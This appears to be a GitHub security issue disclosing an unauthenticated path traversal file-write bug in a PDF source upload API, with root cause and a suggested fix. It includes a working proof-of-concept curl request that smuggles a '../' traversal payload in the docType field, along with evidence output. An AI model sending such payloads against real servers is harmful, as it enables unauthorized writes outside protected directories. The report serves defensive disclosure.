Skip to content

Critical: Manual source upload API allows unauthenticated path traversal write outside PRODUCT_MCP_DATA_DIR via docType #34

Description

@jonathanchang31

Summary

The multipart upload endpoint /api/pipeline/sources/upload accepts a user-controlled docType. In the manual upload flow, docType is reused to derive the output filename when it is not one of the predefined stable types.

That derived filename is written with:

  • const filename = input.filename ?? stableFilenameFor(input.docType)
  • const targetAbs = path.join(sourceDir, filename)
    Because stableFilenameFor() falls back to ${docType}.pdf with no path-segment validation, an attacker can send docType=../../../../../../uploaded_escape and cause the server to write the uploaded PDF outside the configured data root.

I validated this through the real HTTP endpoint with a valid PDF upload and confirmed the file was created outside PRODUCT_MCP_DATA_DIR.

Reproduction Steps

  1. Start the app with a temporary isolated data root and DB so the exploit does not touch the real workspace:
TMPROOT=$(mktemp -d /tmp/pdex-upload-test.XXXXXX)
cp -a data/sample "$TMPROOT/data"
PRODUCT_MCP_DATA_DIR="$TMPROOT/data" STUDIO_DB_PATH="$TMPROOT/studio.sqlite" npm run migrate
PRODUCT_MCP_DATA_DIR="$TMPROOT/data" STUDIO_DB_PATH="$TMPROOT/studio.sqlite" npm run dev
  1. Prepare any valid PDF larger than 50 KB. I generated one locally with headless Chrome.
  2. Send a multipart upload with traversal in docType:
curl -sS -F 'productSlug=r770' \
  -F 'docType=../../../../../../uploaded_escape' \
  -F 'scope=own' \
  -F 'title=Traversal upload PoC' \
  -F 'file=@/tmp/pdex-valid-large.pdf;type=application/pdf;filename=poc.pdf' \
  http://localhost:3210/api/pipeline/sources/upload
  1. Check whether the write escaped the configured data root:
test -f "$TMPROOT/uploaded_escape.pdf" && echo escaped
test -f "$TMPROOT/data/uploaded_escape.pdf" && echo inside-data

Actual Result

The API returned success and wrote the uploaded file outside PRODUCT_MCP_DATA_DIR.

Expected Result

The upload API should reject any docType or filename that is not a single safe basename, and it must never write outside PRODUCT_MCP_DATA_DIR.

Evidence

Baseline health:

npm test
4 passed (4)
35 passed (35)

npm run build
build completed successfully

Exploit request response:

{"ok":true,"productSlug":"r770","localPath":"../uploaded_escape.pdf","sha256":"971c87cecd93039ca810b167c8cf91bc0a9d4f0dbed355b38757f29d91646f3e","pageCount":1,"fileSize":74648}

HTTP status:

HTTP_STATUS:200

Filesystem proof:

ESC_EXISTS=yes
ESC_SIZE=74648
INSIDE_DATA=no
REPO_POLLUTED=no

The app also persisted traversal paths into product metadata:

/tmp/pdex-upload-test.../data/server/dell/poweredge/r770/sources.yaml
10:  - filename: ../../../../../../uploaded_escape.pdf
11:    type: ../../../../../../uploaded_escape

/tmp/pdex-upload-test.../data/server/dell/poweredge/r770/r770.md
60:  - local: source/../../../../../../uploaded_escape.pdf
61:    type: ../../../../../../uploaded_escape

Relevant code paths:

Root Cause

stableFilenameFor() falls back to raw user input:

return STABLE_FILENAMES[docType] ?? `${docType}.pdf`;

That value is then joined directly into a filesystem path:

const targetAbs = path.join(sourceDir, filename);

There is no basename enforcement, traversal check, or final resolved-path boundary check against PRODUCT_MCP_DATA_DIR.

Security/Business Impact

This is an unauthenticated arbitrary file write outside the product data root.
Impact:

  • Attackers can place files in parent directories reachable by the server process.
  • The system records poisoned paths in sources.yaml and product Markdown, corrupting pipeline state.
  • If a writable target path later becomes executable/served/processed by another component, this can become a stronger compromise path.
  • Even without direct code execution, this is a critical integrity violation in a data-ingestion pipeline.

Suggested Fix

  1. Treat docType as metadata only, never as a path fragment.
  2. Restrict output filenames to a fixed allowlist or generate them server-side.
  3. If custom filenames are allowed, validate them as a basename only:
    • no slashes
    • no ..
    • no path separators after normalization
  4. Resolve the final target path and reject if it does not stay within the intended sourceDir and PRODUCT_MCP_DATA_DIR.
  5. Add regression tests for multipart uploads using traversal payloads in both docType and any optional filename field.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions